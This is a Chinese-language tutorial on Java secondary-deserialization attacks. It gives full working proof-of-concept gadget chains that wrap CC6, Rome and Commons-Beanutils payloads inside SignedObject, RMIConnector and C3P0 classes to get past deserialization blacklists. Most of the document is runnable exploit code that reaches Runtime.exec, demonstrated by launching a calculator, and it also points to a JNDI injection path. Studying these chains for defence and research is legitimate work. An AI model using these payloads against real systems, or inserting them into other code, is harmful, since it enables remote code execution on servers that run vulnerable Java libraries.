Java二次反序列化
二次反序列化,就是反序列化两次,它主要用于两个绕过:
测试环境:
SignedObject类
这个类位于java.security.SignedObject
,这个类是用于创建真实运行时对象的类,简单来说,就是SignedObject
包含另一个Serializable
对象。
来看这个类的构造函数:

可以看到这里有序列化的过程,序列化的对象为object参数。
再跟进一下这个类的getObject
方法:

可以看到反序列化的过程,并且这里的this.content
就是前面的序列化字符串,所以其实是可控的。
所以我们可以构造一个恶意的SignedObject对象:
1
2
3
4
|
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(),Signature.getInstance("DSA"));
|
然后就是想在哪里调用这个SignedObject对象的getObject()方法,也就是可以调用到getter方法,而对于调用getter方法,前面比较经典的学了的就是Rome链和CB链,下面我们就先来简单看看这两条链子的利用。
利用手段
rome链的利用
完美符合,三条链子都是获取getter方法来命令执行,正好可以得到前面的getObject()方法。下面来构造一下。
总的思路都是先传入一个构造好了的SignedObject类,然后在调用到他的getObject()方法时反序列化恶意对象。
toString链
原本的toString链的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
ObjectBean x1 = new ObjectBean(Templates.class,impl);
setFieldValue(haha,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(haha);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就来简单改改。
还是用动态加载字节码来打,但这里就使用javassist来生成,具体的修改思路就是调用两次toString,从而可以调用到SignedObject类的getter方法,从而来进行一次完整的调用链,最后的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
public class Main {
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val", bean);
//定义SignedObejct类
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(bad,kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean bean2 = new ToStringBean(SignedObject.class,signedObject);
BadAttributeValueExpException bad2 = new BadAttributeValueExpException(null);
setFieldValue(bad2,"val", bean2);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad2);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
成功弹出计算机。再简单跟一下流程,前面的链子为:BadAttributeValueExpException#readObject()
==》ObjectBean#toString()
==》SignedObject#getObject()
==》BadAttributeValueExpException#readObject()
==》 ObjectBean#toString()
后面的就和基本的rome链差不多了,在这里后面拼接的是rome链,当然还可以拼接其他链子,比如CC6,POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
package org.example;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
ToStringBean toString = new ToStringBean(SignedObject.class,signedObject);
setFieldValue(bad,"val",toString);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
这样就可以用来绕过反序列化对CC6的限制了。
没啥问题。
hashCode链
其实就是套一层而已,而且本身这条链子后半部分和toString链差不多,后面就只给POC了。
这里还是接的CC6了,POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
package org.example;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));
ToStringBean bean = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equals = new EqualsBean(String.class,"fupanc");
HashMap hash2 = new HashMap();
hash2.put(equals,"fupanc1");
setFieldValue(equals,"_beanClass",ToStringBean.class);
setFieldValue(equals,"_obj",bean);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash2);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
理解一下就行。
equals链
大差不差,这里还是接的CC6,注意理解这里的二次反序列化触发点,看一下代码就懂了,但是最好先自己尝试构造一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
package org.example;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));
EqualsBean bean = new EqualsBean(String.class,"fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",signedObject);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",signedObject);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
setFieldValue(bean,"_beanClass",SignedObject.class);
setFieldValue(bean,"_obj",signedObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
CB链的利用
CB链就是调用了getter方法,完美符合这里打SignedObject的二次反序列化,就是将CB链中的TemplatesImpl类实例改成SignedObject类实例即可,这里还是接一个CC6,poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package org.example;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));
BeanComparator compare = new BeanComparator();
PriorityQueue queue= new PriorityQueue(2,compare);
queue.add(1);
queue.add(1);
setFieldValue(compare,"property","object");
setFieldValue(queue,"queue",new Object[]{signedObject,1});
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(queue);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
——————
除了这里的rome链和CB链有调用getter,当然还有jackson和fastjson有调用getter的效果。
RMIConnector
这个类位于javax.management.remote.rmi.RMIConnector
。存在二次反序列化的点是这个类中的findRMIServerJRMP()
,为我们可以跟进一下这个方法:

这里是自定义了一个base64ToByteArray()
方法用于将base64字符串解码成一个字节数组,然后进行了处理,最后进行了一个反序列化操作。
可以找一找在哪里调用了这个方法,在同一个类中寻找,可以发现是在findRMIServer()方法调用:

要求解析完的path必须以/stub/
来开头,看参数传递的话是从第6个开始进行传参,也就是会传递/stub/
后面的字符串,再看一下字符串的来源,跟进一下这里的getURLPath()
方法:

会返回这个类的变量,所以这里是需要实例化一个类的。再往前找这个findRMIServer()方法的调用情况:

注意看参数传递的情况,然后可以看到这里需要rmiServer为null,这个好弄,在RMIConnector实例化的时候就可控,然后这里的connect()方法是public,可以直接调用,在这里我们可以先尝试一下正向调用,直接实例化RMIConnector来调用connect()
方法,这里还是通过CC6来进行演示,也就是将这个CC6的链子序列化为base64数据。
基本的参数都说了,现在来看一下需要实例化的类。
先看一下RMIConnector类的构造方法:

虽然为private,但是这里是定义了两个方法来进行实例化的:

这里的env不好控制,直接传参为null使其为默认的就行了。实在不行还可以使用反射来修改。再看JMXServiceURL类的实例化,简单跟了一遍,重点就是如下:

要求serviceURL必须以service:jmx:
开头,然后最后结尾必须是://
,也正如不满足的报错内容,可以知道这里的大概意思就是确保一个正常的协议,比如传参为service:jmx:rmi://
,那么这里就是获取的协议为rmi
,后面就是一些host的解析等等,这里就不多说了。
所以这里可以简单如下构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
byte[] serializedBytes = bos.toByteArray();
// 将字节数组进行 Base64 编码并输出
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println("Base64编码后的序列化数据:");
System.out.println(base64Encoded);
String base64_String=base64Encoded;
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(url,"urlPath","/stub/"+base64_String);
RMIConnector rmi = new RMIConnector(url,null);
rmi.connect();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成弹出计算机,这里建议还是跟一下这里的流程。
最后这里是成功弹出计算机了的,现在就是需要想怎么来调用这个connect()
方法,一个非常方便的方法就是利用transform()
方法,参考到CC链中的链式执行命令,所以这里可以进行如下尝试,比如还是使用CC6来当例子,最后的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
byte[] serializedBytes = bos.toByteArray();
// 将字节数组进行 Base64 编码并输出
String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
System.out.println("Base64编码后的序列化数据:");
System.out.println(base64Encoded);
String base64_String=base64Encoded;
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(url,"urlPath","/stub/"+base64_String);
RMIConnector rmi = new RMIConnector(url,null);
Transformer[] fakeTransformer1 = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart1 = new Transformer[]{new ConstantTransformer(rmi),new InvokerTransformer("connect",null,null)};//注意一下这里的无参数形参的代表
Transformer chain1 = new ChainedTransformer(fakeTransformer1);
HashMap haha1 = new HashMap();
Map lazy1 = LazyMap.decorate(haha1,chain1);
TiedMapEntry outerMap1 = new TiedMapEntry(lazy1,"fupanc");
HashMap hashMap1 = new HashMap();
hashMap1.put(outerMap1,"fupanc");
haha1.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x1 = ChainedTransformer.class.getDeclaredField("iTransformers");
x1.setAccessible(true);
x1.set(chain1,chainpart1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap1);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
————————
这里还要提到一个点,在findRMIServer()方法处,前面我们都是从findRMIServerJRMP()方法入手,这里也确实比较符合二次反序列化的例子,但是其实还有另外一个点可以利用:

这里就是要求以/jndi/
来开头,可以跟进一下这里的findRMIServerJNDI()
方法:

经典的(new InitialContext()).lookup()
,这里可以进行jndi注入,具体就看jndi注入的笔记。
WrapperConnectionPoolDataSource
C3P0中的一个存在二次反序列化链子,主要还是需要结合可调用setter的链子来利用,通过对WrapperConnectionPoolDataSource类调用setUserOverridesAsString()方法从而一步一步调用到SerializableUtils类的deserializeFromByteArray()方法实现二次反序列化:

主要调用setter的链子存在于jackson和fastjson反序列化。
参考文章:
https://xz.aliyun.com/t/13900?time__1311=GqmxnD2D97itqGNDQieBKbwiKGOjb%3D13a4D#toc-1
《MapMessage二次反序列化》